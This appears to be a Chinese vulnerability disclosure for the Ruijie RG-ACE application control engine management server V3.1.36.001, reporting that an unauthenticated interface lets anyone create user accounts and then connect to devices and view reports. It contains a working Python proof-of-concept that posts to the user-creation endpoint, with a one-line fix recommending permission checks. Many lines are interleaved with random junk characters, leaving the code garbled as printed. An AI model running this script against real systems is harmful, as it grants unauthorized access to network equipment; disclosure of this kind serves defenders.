锐捷应用控制引擎管理服务器可以增加用户

admin

锐捷应用控制引擎管理服务器（RG-ACE系列应用控制引擎管理服务器V3.1.36.001，官网的连接 http://www.ruijie.com.cn/service/down-search.aspx 显示是最新版）可以根据没有权限验证的接口直接增加用户，连接设备，查看设备信息和报表（权限相对于默认的admin比较低）


测试的具体版本是
) r: p0 e2 x) r' A% o产品名称: 锐捷应用控制引擎
0 f6 y0 s# m) h" O版本号: 3.1.36.001 TC
编译时间: 201104291730
9 V  ]; v. p8 W" L, O

4 s) V. B/ H4 T, @5 X# x漏洞证明：




# Y3 \" o- Z- [+ ^7 P# ]

执行脚本
#! /usr/bin/env python
3 R& u" r. u" Q7 {% x& y  H#coding=gbk
#RG-ACE管理服务器 V3.1.36.001
6 z1 Q6 L- a) a2 Simport urllib2, urllib,cookielib
6 ?5 @+ l* P% T3 P! h( Y" B) H3 Q8 Rurl=r'http://IP/mars/doInsertUserInfo.do' #IP改为装这个软件的IP
) @# M0 S* t" }$ Z/ n& Topener=urllib2.build_opener(urllib2.HTTPCookieProcessor(cookielib.CookieJar()))
" U* k1 q6 @7 t. uopener.addheaders = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)')]
post=(("event","userManager.doInsertUserInfo"),
0 [4 W# F0 N6 p; q' Q' }8 W$ P1 E/ r6 y("useractionname","addButtonValue"),
  P( Y( e8 T7 w("useropermanager","userManager"),
("userName","t"), #######账号自己加
4 X# s* [) d( P* B" D/ T( C("pwd","aaaaaa"),######密码自己加
9 E& l+ [' R) H5 O( H3 u' o/ w; m("trueName","ad"),
("email",""),
("mobilePhone",""),
( Y) ?, q) z4 i$ W$ e0 v8 W) [("officePhone",""),
("addr",""),
& A0 [- `2 ?9 |6 r("submit","确定"))
urllib2.install_opener(opener)
p=urllib2.urlopen(url, urllib.urlencode(post)).read()
9 o9 h9 m* R! V/ Kprint "Done"
' \0 l6 L% C& o) M6 k7 Q3 A
登录，连接设备

/ g: ^  P% J1 y% L2 Z" r4 @2 K+ H



9 i9 O6 I1 C- t. A' a* ~默认的管理员admin权限更大点

) ~/ v9 L) b! Q
+ R% W% }, y3 v# [  S8 w0 }) g4 G

: t+ v  K& v( p/ E/ t2 M$ c
$ w' f! b2 m( n  j/ ]  e+ p& K修复方案：
  ]; W* G; n5 r1 I加强对接口的权限验证
2 v  F0 \% p5 D# k  Y+ x